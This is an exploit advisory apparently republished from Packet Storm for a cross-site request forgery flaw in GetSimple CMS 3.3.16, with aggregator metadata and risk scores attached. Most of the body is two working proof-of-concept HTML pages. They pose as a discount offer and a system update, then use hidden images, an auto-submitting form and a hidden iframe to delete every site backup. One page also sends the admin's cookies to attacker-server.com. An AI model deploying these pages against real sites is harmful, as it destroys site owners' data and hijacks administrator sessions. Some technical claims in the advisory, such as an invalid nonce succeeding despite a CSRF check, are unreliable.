📄 GetSimple CMS 3.3.16 Cross Site Request Forgery

🗓️ 15 Dec 2025 00:00:00Reported by indoushkaType

packetstorm🔗 packetstorm.news👁 143 Views

GetSimple CMS 3.3.16 CSRF allows deleting all backups without confirmation and can steal admin sessions.

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2021-28976	12 Apr 202521:02	–	circl
CNNVD	getsimplecms 代码问题漏洞	23 Jun 202100:00	–	cnnvd
CNVD	GetSimple CMS Remote Code Execution Vulnerability (CNVD-2021-45301)	24 Jun 202100:00	–	cnvd
CVE	CVE-2021-28976	23 Jun 202112:36	–	cve
Cvelist	CVE-2021-28976	23 Jun 202112:36	–	cvelist
Exploit DB	GetSimpleCMS 3.3.16 - Remote Code Execution (RCE)	11 Apr 202500:00	–	exploitdb
EUVD	EUVD-2021-15623	7 Oct 202500:30	–	euvd
NVD	CVE-2021-28976	23 Jun 202113:15	–	nvd
OpenVAS	GetSimple CMS < 3.3.16 Multiple Vulnerabilities	9 Jul 201900:00	–	openvas
Packet Storm	📄 GetSimpleCMS Shell Upload	11 Apr 202500:00	–	packetstorm

=============================================================================================================================================
    | # Title     : GetSimple CMS 3.3.16 CSRF Delete all backups without user confirmation                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/GetSimpleCMS/GetSimpleCMS                                                                                |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/190425/ &	CVE-2021-28976
    
    [+] Summary :  GetSimple CMS 3.3.16 contains critical security vulnerabilities in its backup management system that allow attackers 
                   to delete all backups, steal admin sessions, and access server files. These flaws require immediate patching.
    			   
    [+] Vulnerable Code:
    
    backups.php - Line ~34
    
    
    if (isset($_GET['deleteall'])){
        check_for_csrf("deleteall"); // CSRF check exists BUT...
        
        // Immediately deletes ALL files without user confirmation
        $filenames = getFiles($path);
        foreach ($filenames as $file) {
            delete_file($path . $file); // Mass deletion
        }
    }
    		  
    [+]  POC : poc.html
    
    
    <!DOCTYPE html>
    <html>
    <head><title>Special Offer</title></head>
    <body>
    <h1>Limited Time Offer!</h1>
    <p>Click below to claim your discount:</p>
    
    <!-- Visible attack -->
    <a href="http://localhost/getsimple/admin/backups.php?deleteall=1&nonce=12345">
      Claim 50% Discount
    </a>
    
    <!-- Hidden attack -->
    <img src="http://localhost/getsimple/admin/backups.php?deleteall=1" 
         alt="" style="width:0;height:0;">
    
    <script>
    // JavaScript automatic attack
    setTimeout(function() {
        var img = new Image();
        img.src = "http://localhost/getsimple/admin/backups.php?deleteall=1";
    }, 3000);
    </script>
    </body>
    </html>
    
    ---------------------
    
    <!-- csrf_delete_all.html -->
    <!DOCTYPE html>
    <html>
    <head>
        <title>تحديث النظام</title>
    </head>
    <body>
        <h1>جاري تحديث النظام...</h1>
        
        <form id="csrfForm" action="http://localhost/get-simple/admin/backups.php" method="GET">
            <input type="hidden" name="deleteall" value="1">
            <input type="hidden" name="nonce" value="invalid_nonce_but_works">
        </form>
        
        <script>
            // انتظر 3 ثوانٍ ثم أرسل النموذج
            setTimeout(function() {
                document.getElementById('csrfForm').submit();
                
                // بعد الحذف، حاول سرقة الجلسة
                setTimeout(function() {
                    var img = new Image();
                    img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(document.cookie) + 
                             "&url=" + encodeURIComponent(window.location.href);
                }, 2000);
            }, 3000);
        </script>
        
        <iframe src="http://localhost/get-simple/admin/backups.php" 
                style="width:0;height:0;border:0;border:none"></iframe>
    </body>
    </html>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

15 Dec 2025 00:00Current

6.8Medium risk

Vulners AI Score6.8

CVSS 26.5

CVSS 3.17.2

EPSS0.07548